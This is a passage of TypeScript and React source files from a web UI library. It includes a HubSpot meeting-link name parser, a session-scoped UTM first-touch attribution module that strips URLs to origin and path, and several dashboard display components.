agree or deep-link anchors silently diverge.\n    const baseId = slugifyHeadingBase(\n      opts.removeEmojis ? stripHeadingEmojis(title) : title,\n    )\n\n    // Symbol-only heading fallback: the 1-based ordinal among the headings\n    // this extractor EMITS (levels ≤ maxLevel). The renderer's heading-id\n    // generator mirrors this exact counter for levels ≤ 2\n    // (components/ui/markdown/heading-ids.ts) — the two must agree or\n    // deep-link anchors diverge for symbol-only headings.\n    const cleanId = baseId || `section-${sections.length + 1}`\n\n    sections.push({\n      id: opts.handleDuplicateIds ? dedupe(cleanId) : cleanId,\n      title,\n      level: heading.level,\n    })\n  }\n\n  return sections\n}\n","/**\n * HubSpot meeting-link naming convention — the single EXECUTABLE home of the\n * rule that decides which scheduling links surface on a host's booking page.\n *\n * Server-safe, React-free, zero HubSpot-API knowledge: pure string rules over\n * link NAMES. The team-process documentation lives in\n * `docs/EMBEDDING_HUBSPOT_MEETINGS.md` — this module is the parser that doc\n * describes; this file's tests pin the behavior.\n *\n * THE CONVENTION IS NAME-ONLY. HubSpot link slugs are IMMUTABLE after\n * creation (verified in-portal), so nothing semantic may ever live in the\n * slug — it is an opaque URL identity. The link NAME (freely editable in\n * HubSpot at any time) carries everything:\n *\n *   \"Title | Short description | Audience Label\"\n *\n *  - A link is LISTED on the booking page iff its name declares the third\n *    (Audience) segment — that segment is the opt-in marker, the displayed\n *    intended-audience entity (\"For Prospect Investors\") AND the grouping\n *    key (via `schedulingAudienceKey`). Links without it stay unlisted but\n *    remain natively bookable through path deep-links.\n *  - Title/description feed the directory rows and booking pages (an\n *    enabled per-link welcome screen wins over the name for those two).\n */\n\n/**\n * Slug SHAPE guard (any number of `/`-separated kebab segments) — used only\n * to validate path-deep-link input before lookups. Carries NO semantics.\n */\nexport const SCHEDULING_SLUG_SHAPE = /^[a-z0-9-]+(\\/[a-z0-9-]+)*$/\n\n/** Upper bound for availability month paging (widget nav, route 400, DAL clamp). */\nexport const MAX_MONTH_OFFSET = 11\n\n/** Full-slug shape validity (path-resolution safety only — never semantics). */\nexport function isValidSchedulingSlug(slug: string): boolean {\n  return SCHEDULING_SLUG_SHAPE.test(slug.trim().toLowerCase())\n}\n\nexport interface ParsedSchedulingLinkName {\n  title: string\n  description: string | null\n  /**\n   * The third `|` segment: the intended-audience entity (\"Prospect\n   * Investors\", \"OpenFrame Users\"). Non-null ⇒ the link is LISTED; it is\n   * both the display label and (slugified) the grouping key.\n   */\n  audienceLabel: string | null\n}\n\n/**\n * Parse a link NAME against the `\"Title | Description | Audience\"`\n * convention. Splits on `|` (first two pipes); no `|` → the whole name is\n * the title. Empty segments normalize to null.\n */\nexport function parseSchedulingLinkName(name: string): ParsedSchedulingLinkName {\n  const parts = name.split('|')\n  if (parts.length === 1) return { title: name.trim(), description: null, audienceLabel: null }\n  const title = (parts[0] ?? '').trim()\n  const description = (parts[1] ?? '').trim()\n  const audienceLabel = parts.length > 2 ? parts.slice(2).join('|').trim() : ''\n  return {\n    title: title || name.trim(),\n    description: description || null,\n    audienceLabel: audienceLabel || null,\n  }\n}\n\n/** Whether a link name opts into the directory (has an Audience segment). */\nexport function isListedSchedulingName(name: string): boolean {\n  return parseSchedulingLinkName(name).audienceLabel !== null\n}\n\n/**\n * Grouping key for an audience label: `\"Prospect Investors\"` →\n * `\"prospect-investors\"`. Links sharing a key group together regardless of\n * their (opaque) slugs. Empty after slugification → null (caller treats the\n * link as unlisted).\n */\nexport function schedulingAudienceKey(label: string): string | null {\n  const key = label\n    .toLowerCase()\n    .replace(/[^a-z0-9]+/g, '-')\n    .replace(/^-+|-+$/g, '')\n  return key || null\n}\n","/**\n * String constants shared by page-header consumers (`<PageHeader>`,\n * `<DevSectionPage>`, `<DocsHubPage>` callers). Lives in `utils/` —\n * NOT `'use client'` — so server modules (e.g. the hub's\n * `lib/docs/hub-docs-presets.tsx` that builds preset JSX with\n * `<Icon className={SECTION_HERO_ICON_CLASS} />`) can import the raw\n * string. Importing the constant from a `'use client'` module turns it\n * into a Next.js client-reference proxy in server contexts, which\n * lucide's internal `mergeClasses` then calls `.trim()` on and crashes.\n */\n\n/** Tailwind class applied uniformly to every section-hero / page-header\n *  icon across the lib (Roadmap Map, Releases Rocket, Knowledge Hub\n *  BookOpen, Data Room Building2, …). Yellow accent color, 40x40. */\nexport const SECTION_HERO_ICON_CLASS = 'h-10 w-10 text-ods-accent'\n","/**\n * First-touch attribution capture.\n *\n * THE PROBLEM. Server-side UTM extraction reads the request body and, failing that, UTM\n * params on the `referer` header. But `referer` is the page the form was submitted FROM, and\n * a visitor who lands on `/?utm_source=reddit` and then navigates before converting arrives\n * with a clean referer. Measured on the live DB: waitlist rows from the last 90 days have\n * `ip_address` on 350/350 and `utm_source` on **0/350**. The parameters are not being lost in\n * transit; they are gone by submit time.\n *\n * THE FIX. Capture the landing URL's attribution ONCE, on first page view, and replay it into\n * every submit body from then on. The server already prefers body-supplied UTMs over the\n * referer, so nothing changes server-side.\n *\n * FIRST touch, not last: `capture()` never overwrites an existing record, so a visitor who\n * lands on an ad and later arrives via a bookmark keeps the ad attribution.\n *\n * Built on `createLocalStorageAdapter` so there is no hand-rolled Web Storage access and no\n * module-scope `window` — `./utils` is imported by server-safe consumers, so touching\n * `window` at module scope would break SSR.\n *\n * SESSION-SCOPED, deliberately and without an opt-out. Three reasons:\n *  - first-touch attribution for a single visit is the useful signal;\n *  - a session record does not persist an identifier across visits, which keeps this out of\n *    consent-banner territory;\n *  - `sessionStorage` is per-tab, so `load()`-then-`save()` cannot race another tab.\n *    `localStorage` is shared, so two tabs opening simultaneously could both observe no\n *    record and the second write would silently replace the first — breaking the one\n *    invariant this module exists to hold. Web Storage has no compare-and-swap, so that race\n *    cannot be closed reliably; the option is therefore not offered rather than offered with\n *    a caveat. If cross-session persistence is ever needed it belongs in a server-side\n *    cookie, where it can be written atomically.\n *\n * NEVER STORES A RAW URL. See `sanitizeLandingUrl`.\n */\n\nimport { createLocalStorageAdapter } from './local-storage-adapter'\n\n/** Attribution parameters worth carrying from the landing URL to the submit body. */\nexport interface FirstTouchAttribution {\n  utm_source?: string\n  utm_medium?: string\n  utm_campaign?: string\n  utm_content?: string\n  utm_term?: string\n  /** Reddit Ads click id. */\n  rdt_cid?: string\n  /**\n   * The landing PAGE — `origin + pathname` only. Never the query string or fragment.\n   * See `sanitizeLandingUrl` for why.\n   */\n  landing_url?: string\n  /** ISO timestamp of first capture, for debugging stale records. */\n  captured_at?: string\n}\n\nexport const FIRST_TOUCH_ATTRIBUTION_KEY = 'of.first_touch_attribution'\n\nconst TRACKED_PARAMS = [\n  'utm_source',\n  'utm_medium',\n  'utm_campaign',\n  'utm_content',\n  'utm_term',\n  'rdt_cid',\n] as const\n\n/** Every key this module is allowed to store or replay. */\nconst ALLOWED_KEYS: ReadonlySet<string> = new Set<string>([\n  ...TRACKED_PARAMS,\n  'landing_url',\n  'captured_at',\n])\n\n/**\n * Reduce a URL to `origin + pathname`.\n *\n * The raw `window.location.href` must NEVER be stored or replayed. It routinely carries\n * things that have nothing to do with attribution and everything to do with security: OAuth\n * `code`/`state`, magic-link and password-reset tokens, `access_token` in the fragment,\n * email addresses and other PII in query params. This value is spread into every submit body,\n * so anything kept here would be POSTed to our API and forwarded on to HubSpot — a token in\n * a CRM record is a token in every integration downstream of it.\n *\n * The path alone answers the only question worth asking (\"which page did they land on\"), so\n * the query and fragment are dropped wholesale rather than filtered. An allowlist of \"safe\"\n * params would need updating every time a new auth flow adds one; dropping everything cannot\n * go stale.\n */\nexport function sanitizeLandingUrl(url: string): string | undefined {\n  try {\n    const parsed = new URL(url)\n    // Non-http(s) schemes have no meaningful landing page.\n    if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') return undefined\n    return `${parsed.origin}${parsed.pathname}`\n  } catch {\n    return undefined\n  }\n}\n\nfunction makeAdapter() {\n  return createLocalStorageAdapter<FirstTouchAttribution>({\n    key: FIRST_TOUCH_ATTRIBUTION_KEY,\n    backend: 'session',\n    logTag: '[first-touch-attribution]',\n    // Anything running on this origin can write to sessionStorage, and whatever `load()`\n    // returns is spread into submit bodies. So the stored shape is validated, not assumed:\n    // allowlisted keys only, string values only. Without this a malformed or planted record\n    // would inject arbitrary keys into an API payload.\n    validate: (parsed): parsed is FirstTouchAttribution => {\n      if (typeof parsed !== 'object' || parsed === null || Array.isArray(parsed)) return false\n      return Object.entries(parsed as Record<string, unknown>).every(\n        ([key, value]) => ALLOWED_KEYS.has(key) && typeof value === 'string',\n      )\n    },\n  })\n}\n\n/** Parse the tracked parameters out of a URL. Returns `{}` when none are present. */\nexport function parseAttributionFromUrl(url: string): FirstTouchAttribution {\n  const out: FirstTouchAttribution = {}\n  try {\n    const parsed = new URL(url)\n    for (const param of TRACKED_PARAMS) {\n      const value = parsed.searchParams.get(param)\n      if (value && value.trim()) out[param] = value.trim()\n    }\n  } catch {\n    return {}\n  }\n  return out\n}\n\n/**\n * Record the landing URL's attribution if nothing is stored yet.\n *\n * Idempotent and first-touch-preserving: a later call with different parameters is ignored.\n * Safe to call on every page view, and a no-op during SSR.\n *\n * @returns what is VERIFIABLY stored after the call — a pre-existing record, the new record\n *   read back from storage, or `{}` when nothing was captured or the write did not stick.\n */\nexport function captureFirstTouchAttribution(options: { url?: string } = {}): FirstTouchAttribution {\n  if (typeof window === 'undefined') return {}\n\n  const adapter = makeAdapter()\n  const existing = adapter.load()\n  if (existing && Object.keys(existing).length > 0) return existing\n\n  const href = options.url ?? window.location.href\n  const parsed = parseAttributionFromUrl(href)\n  if (Object.keys(parsed).length === 0) return {}\n\n  const landingUrl = sanitizeLandingUrl(href)\n  const record: FirstTouchAttribution = {\n    ...parsed,\n    ...(landingUrl ? { landing_url: landingUrl } : {}),\n    captured_at: new Date().toISOString(),\n  }\n  adapter.save(record)\n\n  // Confirm it PERSISTED before reporting success. `save()` returns void and swallows its\n  // errors, so in blocked or quota-exceeded storage (Safari private mode, a full quota) the\n  // write silently no-ops. Returning `record` there would hand the caller data that no\n  // subsequent `getFirstTouchAttribution()` can recover — the caller would replay\n  // attribution on this page view and none on the next, which is worse than replaying none\n  // at all because it looks like it worked.\n  return adapter.load() ?? {}\n}\n\n/** Read the stored attribution. `{}` when nothing was captured or during SSR. */\nexport function getFirstTouchAttribution(): FirstTouchAttribution {\n  if (typeof window === 'undefined') return {}\n  return makeAdapter().load() ?? {}\n}\n\n/**\n * Merge stored attribution into a submit body.\n *\n * Values already on the body WIN — a form that collected a real value explicitly should not\n * be overwritten by a stored one. Spread this into every submit payload:\n *\n *   body: JSON.stringify(withFirstTouchAttribution({ email, name }))\n */\nexport function withFirstTouchAttribution<T extends Record<string, any>>(\n  body: T,\n): T & FirstTouchAttribution {\n  const stored = getFirstTouchAttribution()\n  const merged: Record<string, any> = { ...stored, ...body }\n  for (const [k, v] of Object.entries(merged)) {\n    if (v === undefined || v === null || v === '') delete merged[k]\n  }\n  return merged as T & FirstTouchAttribution\n}\n\n/** Clear the stored record. Exposed for tests and for a consent-withdrawal path. */\nexport function clearFirstTouchAttribution(): void {\n  if (typeof window === 'undefined') return\n  makeAdapter().clear()\n}\n","'use client';\n\nimport React from 'react';\nimport { ExternalLink } from 'lucide-react';\nimport { Button } from './button';\n\nexport interface BrandAssociationItem {\n  icon: React.ComponentType<{ size?: number; color?: string; className?: string }> | React.ReactElement;\n  title: string;\n  description: string;\n  buttonText: string;\n  link: string;\n}\n\nexport interface BrandAssociationCardProps {\n  item: BrandAssociationItem;\n  className?: string;\n}\n\nexport function BrandAssociationCard({\n  item,\n  className = ''\n}: BrandAssociationCardProps) {\n  // Helper function to render icon - handle both React elements and components\n  const renderIcon = () => {\n    // If it's already a React element, just return it\n    if (React.isValidElement(item.icon)) {\n      return item.icon;\n    }\n\n    // If it's a component type, render it with props\n    const IconComponent = item.icon as React.ComponentType<{ size?: number; color?: string; className?: string }>;\n    return <IconComponent size={120} color=\"currentColor\" className=\"w-20 h-20\" />;\n  };\n\n  return (\n    <div className={`bg-ods-bg p-10 relative ${className}`}>\n      <div className=\"space-y-6\">\n        {/* Icon */}\n        <div className=\"w-20 h-20 flex items-center justify-center\">\n          {renderIcon()}\n        </div>\n\n        {/* Title */}\n        <h3 className=\"text-h2 text-ods-text-primary\">\n          {item.title}\n        </h3>\n\n        {/* Description */}\n        <p className=\"text-h6 text-ods-text-secondary\">\n          {item.description}\n        </p>\n\n        {/* Browse Button */}\n        <Button\n          variant=\"outline\"\n          href={item.link}\n          openInNewTab\n          rightIcon={<ExternalLink className=\"h-4 w-4\" />}\n        >\n          Browse {item.buttonText}\n        </Button>\n      </div>\n    </div>\n  );\n}","'use client';\n\nimport React from 'react';\nimport { BrandAssociationCard, type BrandAssociationItem } from './brand-association-card';\n\nexport interface BrandAssociationGridProps {\n  items: BrandAssociationItem[];\n  columns?: 2 | 3;\n  className?: string;\n  cardClassName?: string;\n}\n\nexport function BrandAssociationGrid({\n  items,\n  columns = 2,\n  className = '',\n  cardClassName = 'bg-ods-card border border-ods-border rounded-lg p-0 overflow-hidden'\n}: BrandAssociationGridProps) {\n  const gridCols = columns === 2 ? 'grid-cols-1 md:grid-cols-2' : 'grid-cols-1 md:grid-cols-3';\n  const itemsPerRow = columns;\n  const rows = Math.ceil(items.length / itemsPerRow);\n\n  const getBorderClasses = (isLastRow: boolean, isLastInRow: boolean, globalIndex: number) => {\n    let classes = '';\n    \n    // Right border - responsive logic\n    if (!isLastInRow) {\n      // On mobile (1 column), never show right border\n      // On desktop (2/3 columns), show right border except for last in row\n      classes += ' md:border-r border-ods-border';\n    }\n    \n    // Bottom border logic\n    const isLastItem = globalIndex === items.length - 1;\n    \n    // Mobile: bottom border for all except last item\n    if (!isLastItem) {\n      classes += ' border-b border-ods-border';\n    }\n    \n    // Desktop: override mobile border, show bottom border for all rows except last\n    if (!isLastRow) {\n      classes += ' md:border-b border-ods-border';\n    } else {\n      // Last row on desktop - remove bottom border\n      classes += ' md:border-b-0';\n    }\n    \n    return classes;\n  };\n\n  return (\n    <div className={`${cardClassName} ${className}`}>\n      {Array.from({ length: rows }, (_, rowIndex) => {\n        const startIndex = rowIndex * itemsPerRow;\n        const rowItems = items.slice(startIndex, startIndex + itemsPerRow);\n        const isLastRow = rowIndex === rows - 1;\n\n        return (\n          <div key={rowIndex} className={`grid ${gridCols}`}>\n            {rowItems.map((item, itemIndex) => {\n              const globalIndex = startIndex + itemIndex;\n              const isLastInRow = itemIndex === rowItems.length - 1;\n              const borderClasses = getBorderClasses(isLastRow, isLastInRow, globalIndex);\n\n              return (\n                <BrandAssociationCard\n                  key={globalIndex}\n                  item={item}\n                  className={borderClasses}\n                />\n              );\n            })}\n          </div>\n        );\n      })}\n    </div>\n  );\n}","'use client';\n\nimport React from 'react';\nimport { ShapeCircleDashIcon } from '../icons';\n\nexport interface BulletListItem {\n  text: string;\n  id?: string;\n}\n\nexport interface BulletListProps {\n  items: string[] | BulletListItem[];\n  bulletColor?: string;\n  bulletIcon?: React.ComponentType<{ size?: number; color?: string; className?: string }>;\n  bulletSize?: number;\n  textClassName?: string;\n  itemClassName?: string;\n  containerClassName?: string;\n  spacing?: 'sm' | 'md' | 'lg';\n}\n\nconst spacingMap = {\n  sm: 'space-y-2',\n  md: 'space-y-3',\n  lg: 'space-y-4'\n};\n\nexport function BulletList({\n  items,\n  bulletColor = 'var(--color-text-primary)',\n  bulletIcon: BulletIcon = ShapeCircleDashIcon,\n  bulletSize = 16,\n  textClassName = 'text-h4 text-ods-text-primary',\n  itemClassName = 'flex items-start gap-3',\n  containerClassName = '',\n  spacing = 'md'\n}: BulletListProps) {\n  const normalizedItems = items.map(item =>\n    typeof item === 'string' ? { text: item, id: undefined } : item\n  );\n\n  return (\n    <div className={`${spacingMap[spacing]} ${containerClassName}`}>\n      {normalizedItems.map((item, index) => (\n        <div key={item.id || index} className={itemClassName}>\n          {/* <div className=\"flex-shrink-0 mt-[0.75rem]\"> */}\n          <div className=\"flex-shrink-0 mt-1\">\n            <BulletIcon size={bulletSize} color={bulletColor} />\n          </div>\n          {/* </div> */}\n          <p className={textClassName}>\n            {item.text}\n          </p>\n        </div>\n      ))}\n    </div>\n  );\n}","\"use client\"\n\nimport * as React from \"react\"\nimport { ChevronUp, ChevronDown } from \"lucide-react\"\nimport { cn } from \"../../utils/cn\"\n\ninterface ChevronButtonProps extends React.ButtonHTMLAttributes<HTMLButtonElement> {\n  direction?: 'up' | 'down';\n  size?: 'sm' | 'md' | 'lg';\n  isExpanded?: boolean;\n  backgroundColor?: string;\n  borderColor?: string;\n}\n\nconst ChevronButton = React.forwardRef<HTMLButtonElement, ChevronButtonProps>(\n  ({ className, direction = 'down', size = 'md', isExpanded, backgroundColor, borderColor, ...props }, ref) => {\n    const Icon = (isExpanded ? ChevronUp : ChevronDown) || (direction === 'up' ? ChevronUp : ChevronDown);\n    const sizeClasses = {\n      sm: 'h-4 w-4',\n      md: 'h-5 w-5', \n      lg: 'h-6 w-6'\n    };\n\n    return (\n      <button\n        className={cn(\n          \"inline-flex items-center justify-center rounded-md text-h6 ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50\",\n          \"h-10 px-4 py-2\",\n          className\n        )}\n        style={{\n          backgroundColor: backgroundColor,\n          borderColor: borderColor\n        }}\n        ref={ref}\n        {...props}\n      >\n        <Icon className={sizeClasses[size]} />\n      </button>\n    )\n  }\n)\nChevronButton.displayName = \"ChevronButton\"\n\nexport { ChevronButton }","'use client'\n\nimport { cn } from '../../utils/cn'\n\nexport type CircularProgressVariant = 'success' | 'warning' | 'error' | 'info' | 'accent'\n\n/**\n * How to treat a `percentage` over 100.\n * - `clamp` (default): value is clamped to 0–100 for both the ring and the label.\n * - `wrap`: the ring wraps around once per 100. The label shows the actual\n *   (unclamped) percentage, while the ring fills to `percentage % 100` — e.g.\n *   130 → 30%, 230 → 30%, 200 → 100% (exact laps render as full). Use together\n *   with `variant=\"warning\"` / `\"error\"` to communicate overage semantically.\n */\nexport type CircularProgressOverflow = 'clamp' | 'wrap'\n\ninterface CircularProgressProps {\n  percentage: number                    // 0-100 in clamp mode; may exceed 100 in wrap mode\n  variant?: CircularProgressVariant     // Default: 'success'\n  size?: number                         // Default: 56\n  strokeWidth?: number                  // Default: 10\n  showLabel?: boolean                   // Show percentage text in center (default: true)\n  labelFormat?: 'percent' | 'value'    // 'percent' = \"70%\", 'value' = \"70\" (default: 'percent')\n  overflow?: CircularProgressOverflow  // Default: 'clamp'\n  className?: string\n}\n\n// Fallback track for variants that don't have a designed secondary color\n// (info, accent). success/warning/error use their ODS `*-secondary` token.\nconst SUBTLE_TRACK = 'rgba(255, 255, 255, 0.06)'\n\nconst variantColors: Record<CircularProgressVariant, { progress: string; track: string }> = {\n  success: {\n    progress: 'var(--color-success)',\n    track: 'var(--color-success-secondary)',\n  },\n  warning: {\n    progress: 'var(--color-warning)',\n    track: 'var(--color-warning-secondary)',\n  },\n  error: {\n    progress: 'var(--color-error)',\n    track: 'var(--color-error-secondary)',\n  },\n  info: {\n    progress: 'var(--ods-system-greys-white)',\n    track: SUBTLE_TRACK,\n  },\n  accent: {\n    progress: 'var(--ods-accent)',\n    track: SUBTLE_TRACK,\n  },\n}\n\nexport function CircularProgress({\n  percentage,\n  variant = 'success',\n  size = 56,\n  strokeWidth = 10,\n  showLabel = true,\n  labelFormat = 'percent',\n  overflow = 'clamp',\n  className\n}: CircularProgressProps) {\n  const safePercentage = Math.max(0, percentage)\n  const isWrap = overflow === 'wrap'\n\n  // In wrap mode the ring shows `percentage % 100`. Exact laps (200, 300, …)\n  // would otherwise render empty, so collapse them to a full 100% ring.\n  let ringPercentage: number\n  if (isWrap && safePercentage > 100) {\n    const mod = safePercentage % 100\n    ringPercentage = mod === 0 ? 100 : mod\n  } else {\n    ringPercentage = Math.min(100, safePercentage)\n  }\n\n  const labelPercentage = isWrap ? safePercentage : Math.min(100, safePercentage)\n\n  const radius = (size - strokeWidth) / 2\n  const circumference = radius * 2 * Math.PI\n  const ringOffset = circumference - (ringPercentage / 100) * circumference\n\n  const { progress, track } = variantColors[variant]\n\n  return (\n    <div className={cn('relative', className)} style={{ width: size, height: size }}>\n      <svg\n        width={size}\n        height={size}\n        className=\"transform -rotate-90\"\n      >\n        <circle\n          cx={size / 2}\n          cy={size / 2}\n          r={radius}\n          stroke={track}\n          strokeWidth={strokeWidth}\n          fill=\"none\"\n        />\n        <circle\n          cx={size / 2}\n          cy={size / 2}\n          r={radius}\n          stroke={progress}\n          strokeWidth={strokeWidth}\n          fill=\"none\"\n          strokeDasharray={circumference}\n          strokeDashoffset={ringOffset}\n          strokeLinecap=\"butt\"\n          className=\"transition-all duration-300 ease-out\"\n        />\n      </svg>\n      {showLabel && (\n        <div className=\"absolute inset-0 flex items-center justify-center\">\n          <span className=\"font-medium text-ods-text-primary\" style={{ fontSize: size <= 40 ? 10 : 12 }}>\n            {Math.round(labelPercentage)}{labelFormat === 'percent' ? '%' : ''}\n          </span>\n        </div>\n      )}\n    </div>\n  )\n}\n","\"use client\"\n\nimport React from 'react'\n\nexport const CheckIcon = ({ className }: { className?: string }) => (\n  <svg className={className} viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" strokeWidth=\"2\" strokeLinecap=\"round\" strokeLinejoin=\"round\">\n    <path d=\"M20 6L9 17l-5-5\" />\n  </svg>\n)\n\nexport const XIcon = ({ className }: { className?: string }) => (\n  <svg className={className} viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" strokeWidth=\"2\" strokeLinecap=\"round\" strokeLinejoin=\"round\">\n    <path d=\"M18 6L6 18\" />\n    <path d=\"M6 6l12 12\" />\n  </svg>\n)\n\nexport const MinusIcon = ({ className }: { className?: string }) => (\n  <svg className={className} viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" strokeWidth=\"2\" strokeLinecap=\"round\" strokeLinejoin=\"round\">\n    <path d=\"M5 12h14\" />\n  </svg>\n)\n\nexport const CheckCircleIcon = ({ className }: { className?: string }) => (\n  <svg className={className} viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" strokeWidth=\"2\" strokeLinecap=\"round\" strokeLinejoin=\"round\">\n    <path d=\"M22 11.08V12a10 10 0 1 1-5.93-9.14\" />\n    <path d=\"M9 11l3 3L22 4\" />\n  </svg>\n)\n\nexport const XCircleIcon = ({ className }: { className?: string }) => (\n  <svg className={className} viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" strokeWidth=\"2\" strokeLinecap=\"round\" strokeLinejoin=\"round\">\n    <circle cx=\"12\" cy=\"12\" r=\"10\" />\n    <path d=\"M15 9l-6 6\" />\n    <path d=\"M9 9l6 6\" />\n  </svg>\n)","import type * as React from 'react'\nimport Link from '../../embed-shims/next-link'\nimport { cn } from '../../utils/cn'\nimport { QuestionCircleIcon } from '../icons-v2-generated/signs-and-symbols/question-circle-icon'\nimport { CircularProgress, type CircularProgressOverflow, type CircularProgressVariant } from './circular-progress'\nimport { FloatingTooltip } from './floating-tooltip'\nimport { Tag } from './tag'\n\n/**\n * How the percentage is rendered next to the value:\n * - `'auto'` (default): a colored `Tag` for `warning`/`error` variants, plain\n *   \"(NN%)\" text otherwise. Preserves the original coupling to `progressVariant`.\n * - `'plain'`: always plain \"(NN%)\" text, regardless of `progressVariant`. Use\n *   when you want a colored progress ring but a neutral percentage (Figma).\n * - `'tag'`: always a colored `Tag`.\n */\nexport type DashboardInfoCardPercentageDisplay = 'auto' | 'plain' | 'tag'\n\n/**\n * Size of the progress ring in px. A single number sets the ring size from the\n * Tailwind `md` (800px) breakpoint up — on mobile the ring always shrinks to\n * the 24px Figma spec. The responsive form sets `base` (mobile) explicitly,\n * plus optional `md` / `lg` (1280px) overrides — e.g. `{ base: 24, lg: 56 }`\n * keeps the small ring through tablet, and `{ base: 40 }` pins 40px at every\n * breakpoint.\n */\nexport type DashboardInfoCardProgressSize =\n  | number\n  | { base: number; md?: number; lg?: number }\n\nexport interface DashboardInfoCardProps {\n  title?: string\n  /** Node rendered in place of the title text. Takes precedence over `title`. */\n  titleSlot?: React.ReactNode\n  /**\n   * Tag rendered in the title row, after the title (Figma \"status\" variant) —\n   * e.g. `<Tag variant=\"outline\" label=\"AI Handling\" />` or a TicketStatusTag.\n   * Works with or without a `title`.\n   */\n  titleTag?: React.ReactNode\n  /**\n   * Icon or image shown in a bordered square slot on the left (Figma \"icon\"\n   * variant): 32px box / 16px content on mobile, 56px box / 24px content from\n   * `md` up. The passed node is stretched to fill the content area, so plain\n   * icon components and `<img>` both work.\n   */\n  icon?: React.ReactNode\n  value: string | number\n  percentage?: number\n  showProgress?: boolean\n  progressVariant?: CircularProgressVariant\n  /**\n   * Controls how `percentage` is rendered (Tag vs plain text) independently of\n   * the progress-ring color. Default `'auto'`. See {@link DashboardInfoCardPercentageDisplay}.\n   */\n  percentageDisplay?: DashboardInfoCardPercentageDisplay\n  /**\n   * How the progress ring treats values over 100. Forwarded to `CircularProgress`.\n   * Default: `'clamp'` — existing behavior (clamped to 0–100).\n   * Use `'wrap'` for overage/overflow semantics (excess rendered as a red arc).\n   */\n  progressOverflow?: CircularProgressOverflow\n  /**\n   * Size of the circular progress ring. Defaults to the Figma spec\n   * `{ base: 24, md: 56 }` — 24px on mobile, 56px on tablet and desktop. A\n   * number changes only the tablet/desktop size (mobile stays 24px); use\n   * `{ base, md?, lg? }` for full control. Stroke width scales proportionally\n   * with the size.\n   */\n  progressSize?: DashboardInfoCardProgressSize\n  className?: string\n  /**\n   * Navigation URL — renders the card as a Next.js Link\n   * When provided, cursor becomes pointer and hover accent styles are applied\n   */\n  href?: string\n  /** Tooltip content shown on a question-mark icon next to the value */\n  tooltip?: React.ReactNode\n  /** Override the value text className (default: `text-h3 md:text-h2` per Figma) */\n  valueClassName?: string\n  /** Secondary text rendered beside the value (e.g. an entry/item count). */\n  subValue?: React.ReactNode\n}\n\nexport function DashboardInfoCard({\n  title,\n  titleSlot,\n  titleTag,\n  icon,\n  value,\n  percentage,\n  showProgress = false,\n  progressVariant,\n  percentageDisplay = 'auto',\n  progressOverflow,\n  progressSize,\n  className,\n  href,\n  tooltip,\n  valueClassName,\n  subValue\n}: DashboardInfoCardProps) {\n  const formattedValue = typeof value === 'number'\n    ? value.toLocaleString()\n    : value\n\n  const renderPercentage = () => {\n    if (percentage === undefined) return null\n\n    const asTag =\n      percentageDisplay === 'tag' ||\n      (percentageDisplay === 'auto' && (progressVariant === 'warning' || progressVariant === 'error'))\n\n    if (asTag) {\n      const tagVariant =\n        progressVariant === 'warning' || progressVariant === 'error'\n          ? progressVariant\n          : progressVariant === 'success'\n            ? 'success'\n            : 'grey'\n      return <Tag variant={tagVariant} label={`${percentage}%`} />\n    }\n\n    return (\n      <p className=\"text-h4 text-ods-text-secondary\">\n        ({percentage}%)\n      </p>\n    )\n  }\n\n  const renderProgress = () => {\n    if (!showProgress || percentage === undefined) return null\n\n    // Keep the ring proportionally weighted (10px stroke at the 56px default).\n    const strokeFor = (size: number) => Math.max(2, Math.round((size * 10) / 56))\n\n    const common = {\n      percentage,\n      variant: progressVariant,\n      overflow: progressOverflow,\n      showLabel: false,\n    }\n\n    // Figma spec: the mobile ring is always 24px. The default is 56px from\n    // `md` (800px) up; a numeric `progressSize` overrides only that md+ size.\n    const size = typeof progressSize === 'number'\n      ? { base: 24, md: progressSize }\n      : progressSize ?? { base: 24, md: 56 }\n\n    // Responsive: one ring per provided breakpoint, toggled with Tailwind\n    // display utilities so only one shows at a time. The class names must stay\n    // static string literals — Tailwind's JIT scanner can't see\n    // dynamically-built names (e.g. `${bp}:hidden`).\n    const { base, md, lg } = size\n\n    const rings: Array<{ key: string; size: number; className: string }> = [\n      { key: 'base', size: base, className: md !== undefined ? 'md:hidden' : lg !== undefined ? 'lg:hidden' : '' },\n    ]\n    if (md !== undefined) {\n      rings.push({ key: 'md', size: md, className: lg !== undefined ? 'hidden md:block lg:hidden' : 'hidden md:block' })\n    }\n    if (lg !== undefined) {\n      rings.push({ key: 'lg', size: lg, className: 'hidden lg:block' })\n    }\n\n    return (\n      <>\n        {rings.map(ring => (\n          <CircularProgress\n            key={ring.key}\n            {...common}\n            size={ring.size}\n            strokeWidth={strokeFor(ring.size)}\n            className={ring.className}\n          />\n        ))}\n      </>\n    )\n  }\n\n  const cardContent = (\n    <>\n      {/* Icon slot (Figma \"icon\" variant): 32px box / 16px content on mobile,\n          56px box / 24px content from `md` up. */}\n      {icon && (\n        <div className=\"shrink-0 size-8 md:size-14 p-[var(--spacing-system-xxs)] bg-ods-bg border border-ods-border rounded-sm flex items-center justify-center text-ods-text-primary\">\n          <span className=\"size-4 md:size-6 flex items-center justify-center [&>*]:size-full\">\n            {icon}\n          </span>\n        </div>\n      )}\n\n      {/* Content section */}\n      <div className=\"flex-1 min-w-0 flex flex-col\">\n        {/* Title row: caption and/or tag (Figma \"status\" variant) */}\n        <div className=\"flex items-center gap-[var(--spacing-system-xxs)]\">\n          {titleSlot ?? (title !== undefined && (\n            <p className=\"text-h5 text-ods-text-secondary truncate\">\n              {title}\n            </p>\n          ))}\n          {titleTag}\n        </div>\n\n        {/* Value and percentage */}\n        <div className=\"flex items-center gap-[var(--spacing-system-xs)]\">\n          <p className={cn(\"text-h3 md:text-h2 text-ods-text-primary truncate\", valueClassName)}>\n            {formattedValue}\n          </p>\n          {subValue && (\n            <p className=\"text-h6 text-ods-text-secondary\">\n              {subValue}\n            </p>\n          )}\n          {renderPercentage()}\n          {tooltip && (\n            <FloatingTooltip content={tooltip} side=\"top\">\n              <span className=\"cursor-help text-ods-text-secondary\">\n                